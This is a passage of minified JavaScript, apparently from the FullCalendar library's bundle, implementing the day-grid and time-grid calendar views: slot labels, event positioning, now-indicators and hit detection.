this.rowRefs.currentMap[e].getCellEls()[t]},t.prototype.getCellRange=function(e,t){var n=this.props.cells[e][t].date;return{start:n,end:me(n,1)}},t}(so);function ps(e){return"function"==typeof e?e:function(t){return"+"+t+" "+e}}function fs(e){return e.eventRange.def.allDay}var hs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.forceDayIfListItem=!0,t}return n(t,e),t.prototype.sliceRange=function(e,t){return t.sliceRange(e)},t}(Li),vs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.slicer=new hs,t.tableRef=Lr(),t.handleRootEl=function(e){e?t.context.registerInteractiveComponent(t,{el:e}):t.context.unregisterInteractiveComponent(t)},t}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context;return Ar(ds,r({ref:this.tableRef,elRef:this.handleRootEl},this.slicer.sliceProps(e,e.dateProfile,e.nextDayThreshold,t,e.dayTableModel),{dateProfile:e.dateProfile,cells:e.dayTableModel.cells,colGroupNode:e.colGroupNode,tableMinWidth:e.tableMinWidth,renderRowIntro:e.renderRowIntro,dayMaxEvents:e.dayMaxEvents,dayMaxEventRows:e.dayMaxEventRows,showWeekNumbers:e.showWeekNumbers,expandRows:e.expandRows,headerAlignElRef:e.headerAlignElRef,clientWidth:e.clientWidth,clientHeight:e.clientHeight,forPrint:e.forPrint}))},t.prototype.prepareHits=function(){this.tableRef.current.prepareHits()},t.prototype.queryHit=function(e,t){var n=this.tableRef.current.positionToHit(e,t);return n?{component:this,dateSpan:n.dateSpan,dayEl:n.dayEl,rect:{left:n.relativeRect.left,right:n.relativeRect.right,top:n.relativeRect.top,bottom:n.relativeRect.bottom},layer:0}:null},t}(so),gs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.buildDayTableModel=st(ms),t.headerRef=Lr(),t.tableRef=Lr(),t}return n(t,e),t.prototype.render=function(){var e=this,t=this.context,n=t.options,r=t.dateProfileGenerator,o=this.props,i=this.buildDayTableModel(o.dateProfile,r),a=n.dayHeaders&&Ar(Hi,{ref:this.headerRef,dateProfile:o.dateProfile,dates:i.headerDates,datesRepDistinctDays:1===i.rowCnt}),s=function(t){return Ar(vs,{ref:e.tableRef,dateProfile:o.dateProfile,dayTableModel:i,businessHours:o.businessHours,dateSelection:o.dateSelection,eventStore:o.eventStore,eventUiBases:o.eventUiBases,eventSelection:o.eventSelection,eventDrag:o.eventDrag,eventResize:o.eventResize,nextDayThreshold:n.nextDayThreshold,colGroupNode:t.tableColGroupNode,tableMinWidth:t.tableMinWidth,dayMaxEvents:n.dayMaxEvents,dayMaxEventRows:n.dayMaxEventRows,showWeekNumbers:n.weekNumbers,expandRows:!o.isHeightAuto,headerAlignElRef:e.headerElRef,clientWidth:t.clientWidth,clientHeight:t.clientHeight,forPrint:o.forPrint})};return n.dayMinWidth?this.renderHScrollLayout(a,s,i.colCnt,n.dayMinWidth):this.renderSimpleLayout(a,s)},t}(Ga);function ms(e,t){var n=new Ai(e.renderRange,t);return new Ui(n,/year|month|week/.test(e.currentRangeUnit))}var ys=lo({initialView:"dayGridMonth",optionRefiners:{moreLinkClick:Pt,moreLinkClassNames:Pt,moreLinkContent:Pt,moreLinkDidMount:Pt,moreLinkWillUnmount:Pt},views:{dayGrid:{component:gs,dateProfileGeneratorClass:function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.buildRenderRange=function(t,n,r){var o,i=this.props.dateEnv,a=e.prototype.buildRenderRange.call(this,t,n,r),s=a.start,l=a.end;(/^(year|month)$/.test(n)&&(s=i.startOfWeek(s),(o=i.startOfWeek(l)).valueOf()!==l.valueOf()&&(l=ge(o,1))),this.props.monthMode&&this.props.fixedWeekCount)&&(l=ge(l,6-Math.ceil(Ee(s,l))));return{start:s,end:l}},t}(To)},dayGridDay:{type:"dayGrid",duration:{days:1}},dayGridWeek:{type:"dayGrid",duration:{weeks:1}},dayGridMonth:{type:"dayGrid",duration:{months:1},monthMode:!0,fixedWeekCount:!0}}}),Es=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.getKeyInfo=function(){return{allDay:{},timed:{}}},t.prototype.getKeysForDateSpan=function(e){return e.allDay?["allDay"]:["timed"]},t.prototype.getKeysForEventDef=function(e){return e.allDay?dn(e)?["timed","allDay"]:["allDay"]:["timed"]},t}(hr),Ss=bt({hour:"numeric",minute:"2-digit",omitZeroMinute:!0,meridiem:"short"});function Ds(e){var t=["fc-timegrid-slot","fc-timegrid-slot-label",e.isLabeled?"fc-scrollgrid-shrink":"fc-timegrid-slot-minor"];return Ar(jr.Consumer,null,(function(n){if(!e.isLabeled)return Ar("td",{className:t.join(" "),"data-time":e.isoTimeStr});var r=n.dateEnv,o=n.options,i=n.viewApi,a=null==o.slotLabelFormat?Ss:Array.isArray(o.slotLabelFormat)?bt(o.slotLabelFormat[0]):bt(o.slotLabelFormat),s={level:0,time:e.time,date:r.toDate(e.date),view:i,text:r.format(e.date,a)};return Ar(fo,{hookProps:s,classNames:o.slotLabelClassNames,content:o.slotLabelContent,defaultContent:bs,didMount:o.slotLabelDidMount,willUnmount:o.slotLabelWillUnmount},(function(n,r,o,i){return Ar("td",{ref:n,className:t.concat(r).join(" "),"data-time":e.isoTimeStr},Ar("div",{className:"fc-timegrid-slot-label-frame fc-scrollgrid-shrink-frame"},Ar("div",{className:"fc-timegrid-slot-label-cushion fc-scrollgrid-shrink-cushion",ref:o},i)))}))}))}function bs(e){return e.text}var Cs=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){return this.props.slatMetas.map((function(e){return Ar("tr",{key:e.key},Ar(Ds,r({},e)))}))},t}(Yr),ws=bt({week:"short"}),Rs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.allDaySplitter=new Es,t.headerElRef=Lr(),t.rootElRef=Lr(),t.scrollerElRef=Lr(),t.state={slatCoords:null},t.handleScrollTopRequest=function(e){var n=t.scrollerElRef.current;n&&(n.scrollTop=e)},t.renderHeadAxis=function(e,n){void 0===n&&(n="");var o=t.context.options,i=t.props.dateProfile.renderRange,a=Se(i.start,i.end),s=o.navLinks&&1===a?{"data-navlink":yr(i.start,"week"),tabIndex:0}:{};return o.weekNumbers&&"day"===e?Ar(ha,{date:i.start,defaultFormat:ws},(function(e,t,o,i){return Ar("th",{ref:e,className:["fc-timegrid-axis","fc-scrollgrid-shrink"].concat(t).join(" ")},Ar("div",{className:"fc-timegrid-axis-frame fc-scrollgrid-shrink-frame fc-timegrid-axis-frame-liquid",style:{height:n}},Ar("a",r({ref:o,className:"fc-timegrid-axis-cushion fc-scrollgrid-shrink-cushion fc-scrollgrid-sync-inner"},s),i)))})):Ar("th",{className:"fc-timegrid-axis"},Ar("div",{className:"fc-timegrid-axis-frame",style:{height:n}}))},t.renderTableRowAxis=function(e){var n=t.context,r=n.options,o=n.viewApi,i={text:r.allDayText,view:o};return Ar(fo,{hookProps:i,classNames:r.allDayClassNames,content:r.allDayContent,defaultContent:Ts,didMount:r.allDayDidMount,willUnmount:r.allDayWillUnmount},(function(t,n,r,o){return Ar("td",{ref:t,className:["fc-timegrid-axis","fc-scrollgrid-shrink"].concat(n).join(" ")},Ar("div",{className:"fc-timegrid-axis-frame fc-scrollgrid-shrink-frame"+(null==e?" fc-timegrid-axis-frame-liquid":""),style:{height:e}},Ar("span",{className:"fc-timegrid-axis-cushion fc-scrollgrid-shrink-cushion fc-scrollgrid-sync-inner",ref:r},o)))}))},t.handleSlatCoords=function(e){t.setState({slatCoords:e})},t}return n(t,e),t.prototype.renderSimpleLayout=function(e,t,n){var r=this.context,o=this.props,i=[],a=ea(r.options);return e&&i.push({type:"header",key:"header",isSticky:a,chunk:{elRef:this.headerElRef,tableClassName:"fc-col-header",rowContent:e}}),t&&(i.push({type:"body",key:"all-day",chunk:{content:t}}),i.push({type:"body",key:"all-day-divider",outerContent:Ar("tr",{className:"fc-scrollgrid-section"},Ar("td",{className:"fc-timegrid-divider "+r.theme.getClass("tableCellShaded")}))})),i.push({type:"body",key:"body",liquid:!0,expandRows:Boolean(r.options.expandRows),chunk:{scrollerElRef:this.scrollerElRef,content:n}}),Ar(Do,{viewSpec:r.viewSpec,elRef:this.rootElRef},(function(e,t){return Ar("div",{className:["fc-timegrid"].concat(t).join(" "),ref:e},Ar(na,{liquid:!o.isHeightAuto&&!o.forPrint,cols:[{width:"shrink"}],sections:i}))}))},t.prototype.renderHScrollLayout=function(e,t,n,r,o,i,a){var s=this,l=this.context.pluginHooks.scrollGridImpl;if(!l)throw new Error("No ScrollGrid implementation");var u=this.context,c=this.props,d=!c.forPrint&&ea(u.options),p=!c.forPrint&&ta(u.options),f=[];e&&f.push({type:"header",key:"header",isSticky:d,syncRowHeights:!0,chunks:[{key:"axis",rowContent:function(e){return Ar("tr",null,s.renderHeadAxis("day",e.rowSyncHeights[0]))}},{key:"cols",elRef:this.headerElRef,tableClassName:"fc-col-header",rowContent:e}]}),t&&(f.push({type:"body",key:"all-day",syncRowHeights:!0,chunks:[{key:"axis",rowContent:function(e){return Ar("tr",null,s.renderTableRowAxis(e.rowSyncHeights[0]))}},{key:"cols",content:t}]}),f.push({key:"all-day-divider",type:"body",outerContent:Ar("tr",{className:"fc-scrollgrid-section"},Ar("td",{colSpan:2,className:"fc-timegrid-divider "+u.theme.getClass("tableCellShaded")}))}));var h=u.options.nowIndicator;return f.push({type:"body",key:"body",liquid:!0,expandRows:Boolean(u.options.expandRows),chunks:[{key:"axis",content:function(e){return Ar("div",{className:"fc-timegrid-axis-chunk"},Ar("table",{style:{height:e.expandRows?e.clientHeight:""}},e.tableColGroupNode,Ar("tbody",null,Ar(Cs,{slatMetas:i}))),Ar("div",{className:"fc-timegrid-now-indicator-container"},Ar(Pi,{unit:h?"minute":"day"},(function(e){var t=h&&a&&a.safeComputeTop(e);return"number"==typeof t?Ar(aa,{isAxis:!0,date:e},(function(e,n,r,o){return Ar("div",{ref:e,className:["fc-timegrid-now-indicator-arrow"].concat(n).join(" "),style:{top:t}},o)})):null}))))}},{key:"cols",scrollerElRef:this.scrollerElRef,content:n}]}),p&&f.push({key:"footer",type:"footer",isSticky:!0,chunks:[{key:"axis",content:Qi},{key:"cols",content:Qi}]}),Ar(Do,{viewSpec:u.viewSpec,elRef:this.rootElRef},(function(e,t){return Ar("div",{className:["fc-timegrid"].concat(t).join(" "),ref:e},Ar(l,{liquid:!c.isHeightAuto&&!c.forPrint,colGroups:[{width:"shrink",cols:[{width:"shrink"}]},{cols:[{span:r,minWidth:o}]}],sections:f}))}))},t.prototype.getAllDayMaxEventProps=function(){var e=this.context.options,t=e.dayMaxEvents,n=e.dayMaxEventRows;return!0!==t&&!0!==n||(t=void 0,n=5),{dayMaxEvents:t,dayMaxEventRows:n}},t}(so);function Ts(e){return e.text}var ks=function(){function e(e,t,n){this.positions=e,this.dateProfile=t,this.slatMetas=n}return e.prototype.safeComputeTop=function(e){var t=this.dateProfile;if(un(t.currentRange,e)){var n=we(e),r=e.valueOf()-n.valueOf();if(r>=et(t.slotMinTime)&&r<et(t.slotMaxTime))return this.computeTimeTop(Xe(r))}return null},e.prototype.computeDateTop=function(e,t){return t||(t=we(e)),this.computeTimeTop(Xe(e.valueOf()-t.valueOf()))},e.prototype.computeTimeTop=function(e){var t,n,r=this.positions,o=this.dateProfile,i=this.slatMetas,a=r.els.length,s=i[1].date.valueOf()-i[0].date.valueOf(),l=(e.milliseconds-et(o.slotMinTime))/s;return l=Math.max(0,l),l=Math.min(a,l),t=Math.floor(l),n=l-(t=Math.min(t,a-1)),r.tops[t]+r.getHeight(t)*n},e}(),Ms=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context,n=t.options,o=e.slatElRefs;return Ar("tbody",null,e.slatMetas.map((function(i,a){var s={time:i.time,date:t.dateEnv.toDate(i.date),view:t.viewApi},l=["fc-timegrid-slot","fc-timegrid-slot-lane",i.isLabeled?"":"fc-timegrid-slot-minor"];return Ar("tr",{key:i.key,ref:o.createRef(i.key)},e.axis&&Ar(Ds,r({},i)),Ar(fo,{hookProps:s,classNames:n.slotLaneClassNames,content:n.slotLaneContent,didMount:n.slotLaneDidMount,willUnmount:n.slotLaneWillUnmount},(function(e,t,n,r){return Ar("td",{ref:e,className:l.concat(t).join(" "),"data-time":i.isoTimeStr},r)})))})))},t}(Yr),xs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.rootElRef=Lr(),t.slatElRefs=new zi,t}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.context;return Ar("div",{className:"fc-timegrid-slots",ref:this.rootElRef},Ar("table",{className:t.theme.getClass("table"),style:{minWidth:e.tableMinWidth,width:e.clientWidth,height:e.minHeight}},e.tableColGroupNode,Ar(Ms,{slatElRefs:this.slatElRefs,axis:e.axis,slatMetas:e.slatMetas})))},t.prototype.componentDidMount=function(){this.updateSizing()},t.prototype.componentDidUpdate=function(){this.updateSizing()},t.prototype.componentWillUnmount=function(){this.props.onCoords&&this.props.onCoords(null)},t.prototype.updateSizing=function(){var e,t=this.props;t.onCoords&&null!==t.clientWidth&&(this.rootElRef.current.offsetHeight&&t.onCoords(new ks(new _r(this.rootElRef.current,(e=this.slatElRefs.currentMap,t.slatMetas.map((function(t){return e[t.key]}))),!1,!0),this.props.dateProfile,t.slatMetas)))},t}(Yr);function _s(e,t){var n,r=[];for(n=0;n<t;n+=1)r.push([]);if(e)for(n=0;n<e.length;n+=1)r[e[n].col].push(e[n]);return r}function Is(e,t){var n=[];if(e){for(a=0;a<t;a+=1)n[a]={affectedInstances:e.affectedInstances,isEvent:e.isEvent,segs:[]};for(var r=0,o=e.segs;r<o.length;r++){var i=o[r];n[i.col].segs.push(i)}}else for(var a=0;a<t;a+=1)n[a]=null;return n}function Ps(e,t,n,r,o){return Ns(e,t,n,r),function(e,t){for(var n=0,r=e;n<r.length;n++){(c=r[n]).level=null,c.forwardCoord=null,c.backwardCoord=null,c.forwardPressure=null}var o,i=function(e){var t,n,r,o=[];for(t=0;t<e.length;t+=1){for(n=e[t],r=0;r<o.length&&Hs(n,o[r]).length;r+=1);n.level=r,(o[r]||(o[r]=[])).push(n)}return o}(e=gn(e,t));if(function(e){var t,n,r,o,i;for(t=0;t<e.length;t+=1)for(n=e[t],r=0;r<n.length;r+=1)for((o=n[r]).forwardSegs=[],i=t+1;i<e.length;i+=1)Hs(o,e[i],o.forwardSegs)}(i),o=i[0]){for(var a=0,s=o;a<s.length;a++){Os(c=s[a])}for(var l=0,u=o;l<u.length;l++){var c;As(c=u[l],0,0,t)}}return e}(e,o)}function Ns(e,t,n,r){for(var o=0,i=e;o<i.length;o++){var a=i[o];a.top=n.computeDateTop(a.start,t),a.bottom=Math.max(a.top+(r||0),n.computeDateTop(a.end,t))}}function Hs(e,t,n){void 0===n&&(n=[]);for(var r=0;r<t.length;r+=1)o=e,i=t[r],o.bottom>i.top&&o.top<i.bottom&&n.push(t[r]);var o,i;return n}function Os(e){var t,n,r=e.forwardSegs,o=0;if(null==e.forwardPressure){for(t=0;t<r.length;t+=1)Os(n=r[t]),o=Math.max(o,1+n.forwardPressure);e.forwardPressure=o}}function As(e,t,n,r){var o,i=e.forwardSegs;if(null==e.forwardCoord)for(i.length?(!function(e,t){var n=e.map(Us),r=[{field:"forwardPressure",order:-1},{field:"backwardCoord",order:1}].concat(t);n.sort((function(e,t){return le(e,t,r)})),n.map((function(e){return e._seg}))}(i,r),As(i[0],t+1,n,r),e.forwardCoord=i[0].backwardCoord):e.forwardCoord=1,e.backwardCoord=e.forwardCoord-(e.forwardCoord-n)/(t+1),o=0;o<i.length;o+=1)As(i[o],0,e.forwardCoord,r)}function Us(e){var t=mn(e);return t.forwardPressure=e.forwardPressure,t.backwardCoord=e.backwardCoord,t}var Ls=bt({hour:"numeric",minute:"2-digit",meridiem:!1}),Ws=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=["fc-timegrid-event","fc-v-event"];return this.props.isCondensed&&e.push("fc-timegrid-event-condensed"),Ar(oa,r({},this.props,{defaultTimeFormat:Ls,extraClassNames:e}))},t}(Yr),Vs=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this.props;return Ar(la,{date:e.date,dateProfile:e.dateProfile,todayRange:e.todayRange,extraHookProps:e.extraHookProps},(function(e,t){return t&&Ar("div",{className:"fc-timegrid-col-misc",ref:e},t)}))},t}(Yr);vi.timeGridEventCondensedHeight=30;var Fs=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.render=function(){var e=this,t=this.props,n=this.context.options.selectMirror,o=t.eventDrag&&t.eventDrag.segs||t.eventResize&&t.eventResize.segs||n&&t.dateSelectionSegs||[],i=t.eventDrag&&t.eventDrag.affectedInstances||t.eventResize&&t.eventResize.affectedInstances||{};return Ar(ca,{elRef:t.elRef,date:t.date,dateProfile:t.dateProfile,todayRange:t.todayRange,extraHookProps:t.extraHookProps},(function(a,s,l){return Ar("td",r({ref:a,className:["fc-timegrid-col"].concat(s,t.extraClassNames||[]).join(" ")},l,t.extraDataAttrs),Ar("div",{className:"fc-timegrid-col-frame"},Ar("div",{className:"fc-timegrid-col-bg"},e.renderFillSegs(t.businessHourSegs,"non-business"),e.renderFillSegs(t.bgEventSegs,"bg-event"),e.renderFillSegs(t.dateSelectionSegs,"highlight")),Ar("div",{className:"fc-timegrid-col-events"},e.renderFgSegs(t.fgEventSegs,i)),Ar("div",{className:"fc-timegrid-col-events"},e.renderFgSegs(o,{},Boolean(t.eventDrag),Boolean(t.eventResize),Boolean(n))),Ar("div",{className:"fc-timegrid-now-indicator-container"},e.renderNowIndicator(t.nowIndicatorSegs)),Ar(Vs,{date:t.date,dateProfile:t.dateProfile,todayRange:t.todayRange,extraHookProps:t.extraHookProps})))}))},t.prototype.renderFgSegs=function(e,t,n,r,o){var i=this.props;return i.forPrint?this.renderPrintFgSegs(e):i.slatCoords?this.renderPositionedFgSegs(e,t,n,r,o):null},t.prototype.renderPrintFgSegs=function(e){var t=this.props;return(e=gn(e,this.context.options.eventOrder)).map((function(e){return Ar("div",{className:"fc-timegrid-event-harness",key:e.eventRange.instance.instanceId},Ar(Ws,r({seg:e,isDragging:!1,isResizing:!1,isDateSelecting:!1,isSelected:!1,isCondensed:!1},bn(e,t.todayRange,t.nowDate))))}))},t.prototype.renderPositionedFgSegs=function(e,t,n,o,i){var a=this,s=this.context,l=this.props;return(e=Ps(e,l.date,l.slatCoords,s.options.eventMinHeight,s.options.eventOrder)).map((function(e){var s=e.eventRange.instance.instanceId,u=n||o||i?r({left:0,right:0},a.computeSegTopBottomCss(e)):a.computeFgSegPositionCss(e);return Ar("div",{className:"fc-timegrid-event-harness"+(e.level>0?" fc-timegrid-event-harness-inset":""),key:s,style:r({visibility:t[s]?"hidden":""},u)},Ar(Ws,r({seg:e,isDragging:n,isResizing:o,isDateSelecting:i,isSelected:s===l.eventSelection,isCondensed:e.bottom-e.top<vi.timeGridEventCondensedHeight},bn(e,l.todayRange,l.nowDate))))}))},t.prototype.renderFillSegs=function(e,t){var n=this,o=this.context,i=this.props;if(!i.slatCoords)return null;Ns(e,i.date,i.slatCoords,o.options.eventMinHeight);var a=e.map((function(e){return Ar("div",{key:wn(e.eventRange),className:"fc-timegrid-bg-harness",style:n.computeSegTopBottomCss(e)},"bg-event"===t?Ar(pa,r({seg:e},bn(e,i.todayRange,i.nowDate))):da(t))}));return Ar(Wr,null,a)},t.prototype.renderNowIndicator=function(e){var t=this.props,n=t.slatCoords,r=t.date;return n?e.map((function(e,t){return Ar(aa,{isAxis:!1,date:r,key:t},(function(t,o,i,a){return Ar("div",{ref:t,className:["fc-timegrid-now-indicator-line"].concat(o).join(" "),style:{top:n.computeDateTop(e.start,r)}},a)}))})):null},t.prototype.computeFgSegPositionCss=function(e){var t,n,o=this.context,i=o.isRtl,a=o.options.slotEventOverlap,s=e.backwardCoord,l=e.forwardCoord;a&&(l=Math.min(1,s+2*(l-s))),i?(t=1-l,n=s):(t=s,n=1-l);var u={zIndex:e.level+1,left:100*t+"%",right:100*n+"%"};return a&&e.forwardPressure&&(u[i?"marginLeft":"marginRight"]=20),r(r({},u),this.computeSegTopBottomCss(e))},t.prototype.computeSegTopBottomCss=function(e){return{top:e.top,bottom:-e.bottom}},t}(Yr),zs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.splitFgEventSegs=st(_s),t.splitBgEventSegs=st(_s),t.splitBusinessHourSegs=st(_s),t.splitNowIndicatorSegs=st(_s),t.splitDateSelectionSegs=st(_s),t.splitEventDrag=st(Is),t.splitEventResize=st(Is),t.rootElRef=Lr(),t.cellElRefs=new zi,t}return n(t,e),t.prototype.render=function(){var e=this,t=this.props,n=this.context.options.nowIndicator&&t.slatCoords&&t.slatCoords.safeComputeTop(t.nowDate),r=t.cells.length,o=this.splitFgEventSegs(t.fgEventSegs,r),i=this.splitBgEventSegs(t.bgEventSegs,r),a=this.splitBusinessHourSegs(t.businessHourSegs,r),s=this.splitNowIndicatorSegs(t.nowIndicatorSegs,r),l=this.splitDateSelectionSegs(t.dateSelectionSegs,r),u=this.splitEventDrag(t.eventDrag,r),c=this.splitEventResize(t.eventResize,r);return Ar("div",{className:"fc-timegrid-cols",ref:this.rootElRef},Ar("table",{style:{minWidth:t.tableMinWidth,width:t.clientWidth}},t.tableColGroupNode,Ar("tbody",null,Ar("tr",null,t.axis&&Ar("td",{className:"fc-timegrid-col fc-timegrid-axis"},Ar("div",{className:"fc-timegrid-col-frame"},Ar("div",{className:"fc-timegrid-now-indicator-container"},"number"==typeof n&&Ar(aa,{isAxis:!0,date:t.nowDate},(function(e,t,r,o){return Ar("div",{ref:e,className:["fc-timegrid-now-indicator-arrow"].concat(t).join(" "),style:{top:n}},o)}))))),t.cells.map((function(n,r){return Ar(Fs,{key:n.key,elRef:e.cellElRefs.createRef(n.key),dateProfile:t.dateProfile,date:n.date,nowDate:t.nowDate,todayRange:t.todayRange,extraHookProps:n.extraHookProps,extraDataAttrs:n.extraDataAttrs,extraClassNames:n.extraClassNames,fgEventSegs:o[r],bgEventSegs:i[r],businessHourSegs:a[r],nowIndicatorSegs:s[r],dateSelectionSegs:l[r],eventDrag:u[r],eventResize:c[r],slatCoords:t.slatCoords,eventSelection:t.eventSelection,forPrint:t.forPrint})}))))))},t.prototype.componentDidMount=function(){this.updateCoords()},t.prototype.componentDidUpdate=function(){this.updateCoords()},t.prototype.updateCoords=function(){var e,t=this.props;t.onColCoords&&null!==t.clientWidth&&t.onColCoords(new _r(this.rootElRef.current,(e=this.cellElRefs.currentMap,t.cells.map((function(t){return e[t.key]}))),!0,!1))},t}(Yr);var Bs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.processSlotOptions=st(js),t.state={slatCoords:null},t.handleScrollRequest=function(e){var n=t.props.onScrollTopRequest,r=t.state.slatCoords;if(n&&r){if(e.time){var o=r.computeTimeTop(e.time);(o=Math.ceil(o))&&(o+=1),n(o)}return!0}return!1},t.handleColCoords=function(e){t.colCoords=e},t.handleSlatCoords=function(e){t.setState({slatCoords:e}),t.props.onSlatCoords&&t.props.onSlatCoords(e)},t}return n(t,e),t.prototype.render=function(){var e=this.props,t=this.state;return Ar("div",{className:"fc-timegrid-body",ref:e.rootElRef,style:{width:e.clientWidth,minWidth:e.tableMinWidth}},Ar(xs,{axis:e.axis,dateProfile:e.dateProfile,slatMetas:e.slatMetas,clientWidth:e.clientWidth,minHeight:e.expandRows?e.clientHeight:"",tableMinWidth:e.tableMinWidth,tableColGroupNode:e.axis?e.tableColGroupNode:null,onCoords:this.handleSlatCoords}),Ar(zs,{cells:e.cells,axis:e.axis,dateProfile:e.dateProfile,businessHourSegs:e.businessHourSegs,bgEventSegs:e.bgEventSegs,fgEventSegs:e.fgEventSegs,dateSelectionSegs:e.dateSelectionSegs,eventSelection:e.eventSelection,eventDrag:e.eventDrag,eventResize:e.eventResize,todayRange:e.todayRange,nowDate:e.nowDate,nowIndicatorSegs:e.nowIndicatorSegs,clientWidth:e.clientWidth,tableMinWidth:e.tableMinWidth,tableColGroupNode:e.tableColGroupNode,slatCoords:t.slatCoords,onColCoords:this.handleColCoords,forPrint:e.forPrint}))},t.prototype.componentDidMount=function(){this.scrollResponder=this.context.createScrollResponder(this.handleScrollRequest)},t.prototype.componentDidUpdate=function(e){this.scrollResponder.update(e.dateProfile!==this.props.dateProfile)},t.prototype.componentWillUnmount=function(){this.scrollResponder.detach()},t.prototype.positionToHit=function(e,t){var n=this.context,r=n.dateEnv,o=n.options,i=this.colCoords,a=this.props.dateProfile,s=this.state.slatCoords,l=this.processSlotOptions(this.props.slotDuration,o.snapDuration),u=l.snapDuration,c=l.snapsPerSlot,d=i.leftToIndex(e),p=s.positions.topToIndex(t);if(null!=d&&null!=p){var f=s.positions.tops[p],h=s.positions.getHeight(p),v=(t-f)/h,g=p*c+Math.floor(v*c),m=this.props.cells[d].date,y=Je(a.slotMinTime,$e(u,g)),E=r.add(m,y);return{col:d,dateSpan:{range:{start:E,end:r.add(E,u)},allDay:!1},dayEl:i.els[d],relativeRect:{left:i.lefts[d],right:i.rights[d],top:f,bottom:f+h}}}return null},t}(Yr);function js(e,t){var n=t||e,r=tt(e,n);return null===r&&(n=e,r=1),{snapDuration:n,snapsPerSlot:r}}var Gs=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n(t,e),t.prototype.sliceRange=function(e,t){for(var n=[],r=0;r<t.length;r+=1){var o=on(e,t[r]);o&&n.push({start:o.start,end:o.end,isStart:o.start.valueOf()===e.start.valueOf(),isEnd:o.end.valueOf()===e.end.valueOf(),col:r})}return n},t}(Li),qs=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.buildDayRanges=st(Ys),t.slicer=new Gs,t.timeColsRef=Lr(),t.handleRootEl=function(e){e?t.context.registerInteractiveComponent(t,{el:e}):t.context.unregisterInteractiveComponent(t)},t}return n(t,e),t.prototype.render=function(){var e=this,t=this.props,n=this.context,o=t.dateProfile,i=t.dayTableModel,a=n.options.nowIndicator,s=this.buildDayRanges(i,o,n.dateEnv);return Ar(Pi,{unit:a?"minute":"day"},(function(l,u){return Ar(Bs,r({ref:e.timeColsRef,rootElRef:e.handleRootEl},e.slicer.sliceProps(t,o,null,n,s),{forPrint:t.forPrint,axis:t.axis,dateProfile:o,slatMetas:t.slatMetas,slotDuration:t.slotDuration,cells:i.cells[0],tableColGroupNode:t.tableColGroupNode,tableMinWidth:t.tableMinWidth,clientWidth:t.clientWidth,clientHeight:t.clientHeight,expandRows:t.expandRows,nowDate:l,nowIndicatorSegs:a&&e.slicer.sliceNowDate(l,n,s),todayRange:u,onScrollTopRequest:t.onScrollTopRequest,onSlatCoords:t.onSlatCoords}))}))},t.prototype.queryHit=function(e,t){var n=this.timeColsRef.current.positionToHit(e,t);return n?{component:this,dateSpan:n.dateSpan,dayEl:n.dayEl,rect:{left:n.relativeRect.left,right:n.relativeRect.right,top:n.relativeRect.top,bottom:n.relativeRect.bottom},layer:0}:null},t}(so);function Ys(e,t,n){for(var r=[],o=0,i=e.headerDates;o<i.length;o++){var a=i[o];r.push({start:n.add(a,t.slotMinTime),end:n.add(a,t.slotMaxTime)})}return r}var Zs=[{hours:1},{minutes:30},{minutes:15},{seconds:30},{seconds:15}];function Xs(e,t,n,r,o){for(var i=new Date(0),a=e,s=Xe(0),l=n||function(e){var t,n,r;for(t=Zs.length-1;t>=0;t-=1)if(n=Xe(Zs[t]),null!==(r=tt(n,e))&&r>1)return n;return e}(r),u=[];et(a)<et(t);){var c=o.add(i,a),d=null!==tt(s,l);u.push({date:c,time:a,key:c.toISOString(),isoTimeStr:ot(c),isLabeled:d}),a=Je(a,r),s=Je(s,r)}return u}var Ks=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.buildTimeColsModel=st(Js),t.buildSlatMetas=st(Xs),t}return n(t,e),t.prototype.render=function(){var e=this,t=this.context,n=t.options,o=t.dateEnv,i=t.dateProfileGenerator,a=this.props,s=a.dateProfile,l=this.buildTimeColsModel(s,i),u=this.allDaySplitter.splitProps(a),c=this.buildSlatMetas(s.slotMinTime,s.slotMaxTime,n.slotLabelInterval,n.slotDuration,o),d=n.dayMinWidth,p=!d,f=d,h=n.dayHeaders&&Ar(Hi,{dates:l.headerDates,dateProfile:s,datesRepDistinctDays:!0,renderIntro:p?this.renderHeadAxis:null}),v=!1!==n.allDaySlot&&function(t){return Ar(vs,r({},u.allDay,{dateProfile:s,dayTableModel:l,nextDayThreshold:n.nextDayThreshold,tableMinWidth:t.tableMinWidth,colGroupNode:t.tableColGroupNode,renderRowIntro:p?e.renderTableRowAxis:null,showWeekNumbers:!1,expandRows:!1,headerAlignElRef:e.headerElRef,clientWidth:t.clientWidth,clientHeight:t.clientHeight,forPrint:a.forPrint},e.getAllDayMaxEventProps()))},g=function(t){return Ar(qs,r({},u.timed,{dayTableModel:l,dateProfile:s,axis:p,slotDuration:n.slotDuration,slatMetas:c,forPrint:a.forPrint,tableColGroupNode:t.tableColGroupNode,tableMinWidth:t.tableMinWidth,clientWidth:t.clientWidth,clientHeight:t.clientHeight,onSlatCoords:e.handleSlatCoords,expandRows:t.expandRows,onScrollTopRequest:e.handleScrollTopRequest}))};return f?this.renderHScrollLayout(h,v,g,l.colCnt,d,c,this.state.slatCoords):this.renderSimpleLayout(h,v,g)},t}(Rs);function Js(e,t){var n=new Ai(e.renderRange,t);return new Ui(n,!1)}var 